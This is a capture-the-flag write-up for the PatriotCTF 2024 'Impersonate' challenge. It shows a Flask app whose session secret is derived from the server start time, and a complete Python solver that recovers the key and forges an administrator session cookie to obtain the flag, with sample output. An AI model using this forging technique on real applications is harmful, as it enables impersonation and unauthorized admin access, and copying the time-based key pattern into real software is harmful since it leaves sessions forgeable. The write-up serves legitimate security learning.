PatriotCTF 2024 Impersonate Writeup

Published: August 27, 2026

Here's my writeup for the PatriotCTF 2024 Impersonate challenge.

Challenge notes

Impersonate 476 Medium

One may not be the one they claim to be.

http://chal.competitivecyber.club:9999/

Author: _jungbahadurrana

Files

The challenge comes with a single app.py file that you can download from this address:

https://pctf.competitivecyber.club/files/d5927c5731503b610ddc8e4410507f2b/app.py?token=…

Abbreviated contents:

from flask import Flask, request, render_template, jsonify, abort, redirect, session
import uuid
import os
from datetime import datetime, timedelta
import hashlib
app = Flask(__name__)
server_start_time = datetime.now()
server_start_str = server_start_time.strftime('%Y%m%d%H%M%S')
secure_key = hashlib.sha256(f'secret_key_{server_start_str}'.encode()).hexdigest()
app.secret_key = secure_key
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(seconds=300)
flag = os.environ.get('FLAG', "flag{this_is_a_fake_flag}")
secret = uuid.UUID('31333337-1337-1337-1337-133713371337')
def is_safe_username(username):
    """Check if the username is alphanumeric and less than 20 characters."""
    return username.isalnum() and len(username) < 20
@app.route('/', methods=['GET', 'POST'])
def main():
# […]

Try the app

Use a Poetry environment to start the app locally.

poetry init -n
# Install flask
poetry add flask

Make a copy of the original. The code is messy and I want to use ruff to clean it up.

cp app.py app_original.py
ruff format app.py

It helps to annotate the code with types as well to better understand it. Here's how to add mypy inside Poetry:

poetry add mypy

Then run mypy with the --strict flag:

poetry run mypy --strict app.py

Correct errors or warnings, polish the code, and understand the app. Start the app with poetry run:

poetry run python3 app.py

Cookie generation

This challenge is about forging cookies generated with an insecurely generated secret key. Here's how app.py creates its secret key based on the current time:

server_start_time = datetime.now()
server_start_str = server_start_time.strftime("%Y%m%d%H%M%S")
secure_key = hashlib.sha256(f"secret_key_{server_start_str}".encode()).hexdigest()
app.secret_key = secure_key

Try it yourself, modify the code, and print the server_start_time, server_start_str, and secure_key values by adding this at the end of the file:

if __name__ == "__main__":
    print(f"server_start_time: {server_start_time}")
    print(f"server_start_str: {server_start_str}")
    print(f"plain: secret_key_{server_start_str}")
    print(f"secure_key: {secure_key}")
    app.run("0.0.0.0", port=9999)

Here's one output:

server_start_time: 2024-09-21 10:54:02.718469
server_start_str: 20240921105402
secure_key: 1b061f4449d6584925bcc96589dfaa6e8791da53e6b0771df7d3c1ca9a121c14

The application is nice enough to even tell you its current time at the /status endpoint:

curl http://127.0.0.1:9999/status

Here's what this outputs:

Server uptime: 0:00:59<br>
    Server time: 2024-09-21 10:55:01

Solution

Since you know the server start time you can recreate its cookie secret signing key. There might be a millisecond offset in the uptime, so it doesn't hurt to try the uptime +/- 1 second. Here's my solution:

import hashlib
from typing import Optional
from itsdangerous import BadTimeSignature
import requests
import datetime
from flask import Flask, sessions
from requests.adapters import Retry, HTTPAdapter

import re

# Try it out locally first
# host = "127.0.0.1:9999"
host = "chal.competitivecyber.club:9999"
status_url = f"http://{host}/status"


def attempt(offset: int) -> Optional[str]:
    s = requests.Session()
    retries = Retry(total=5)
    s.mount(
        "http://",
        HTTPAdapter(max_retries=retries),
    )
    print(f"Trying with offset {offset}")
    status = s.get(status_url).text
    uptime_match = re.search(
        r"Server uptime: (\d+):(\d+):(\d+)",
        status,
    )
    assert uptime_match
    uptime = datetime.timedelta(
        hours=int(uptime_match[1]),
        minutes=int(uptime_match[2]),
        seconds=int(uptime_match[3]) + offset,
    )
    print(f"uptime: {uptime}")
    server_time_match = re.search(
        r"Server time: (.+)\n", status
    )
    assert server_time_match
    server_time = datetime.datetime.strptime(
        server_time_match[1], "%Y-%m-%d %H:%M:%S"
    )
    print(f"server time: {server_time}")
    server_start_time = server_time - uptime
    print(
        f"server start time: {server_start_time}"
    )

    server_start_str = server_start_time.strftime(
        "%Y%m%d%H%M%S"
    )
    plain = f"secret_key_{server_start_str}"
    print(f"plain: {plain}")
    secure_key = hashlib.sha256(
        plain.encode()
    ).hexdigest()
    print(f"secure key: {secure_key}")

    log_in = s.post(
        f"http://{host}/",
        data={
            "username": "asd",
            "password": "asd",
        },
    )
    session = log_in.cookies["session"]
    print(f"session: {session}")
    # Create an ad-hoc Flask instance
    app = Flask("example")
    # Try with deduced secret key
    app.secret_key = secure_key

    # https://stackoverflow.com/a/42289001
    cif = sessions.SecureCookieSessionInterface()
    serializer = cif.get_signing_serializer(app)
    assert serializer
    try:
        session_dump = serializer.loads(session)
    except BadTimeSignature:
        print("Nope")
        # If there's a signature error, this wasn't the correct
        # offset
        return None
    print(f"session_dump: {session_dump}")
    session_dump["is_admin"] = True
    session_dump["username"] = "administrator"
    # if it's the correct secret key, make us a new admin cookie
    new_session = serializer.dumps(session_dump)
    print(f"new session: {new_session}")
    s.cookies.clear()
    s.cookies["session"] = new_session
    # use the forged cookie to get the flag
    flag = s.get(f"http://{host}/admin").text
    print(f"flag: {flag}")
    return flag


def main():
    # Try with +1, 0, -1 seconds
    for i in [0, 1, -1]:
        result = attempt(i)
        if result:
            break


if __name__ == "__main__":
    main()

Here's how the server_time.py finds the solution:

Trying with offset 0
uptime: 0:00:13
server time: 2024-09-21 03:02:54
server start time: 2024-09-21 03:02:41
plain: secret_key_20240921030241
secure key: ea6cd4f7eb4f751580ed979869d812828d80ca8ea029844d5adf1fdcdf8ab0f0
session: eyJpc19hZG1pbiI6ZmFsc2UsInVpZCI6ImY2ZWU4MzllLTY5ZWItNWYyYi04MWRlLWE4ZmQ1Zjc4NDgwMSIsInVzZXJuYW1lIjoiYXNkIn0.Zu43Xg.N54qCLL04K6h21LKLMMvCraCTe8
Nope
Trying with offset 1
uptime: 0:00:15
server time: 2024-09-21 03:02:55
server start time: 2024-09-21 03:02:40
plain: secret_key_20240921030240
secure key: 28bac7f5f8b66f57a93c19015213e913197bb79749cbf71d4a89e6dc83e3d16a
session: eyJpc19hZG1pbiI6ZmFsc2UsInVpZCI6ImY2ZWU4MzllLTY5ZWItNWYyYi04MWRlLWE4ZmQ1Zjc4NDgwMSIsInVzZXJuYW1lIjoiYXNkIn0.Zu43Xw.807qtev1LCvgeWPqVfVEhS8r1gw
session_dump: {'is_admin': False, 'uid': 'f6ee839e-69eb-5f2b-81de-a8fd5f784801', 'username': 'asd'}
new session: eyJpc19hZG1pbiI6dHJ1ZSwidWlkIjoiZjZlZTgzOWUtNjllYi01ZjJiLTgxZGUtYThmZDVmNzg0ODAxIiwidXNlcm5hbWUiOiJhZG1pbmlzdHJhdG9yIn0.Zu43Xw.Y6Q8hgrfE2jRJvBnAMAXTKa3sew
flag: PCTF{Imp3rs0n4t10n_Iz_Sup3r_Ezz}

Tags

I would be thrilled to hear from you! Please share your thoughts and ideas with me via email.

Back to Index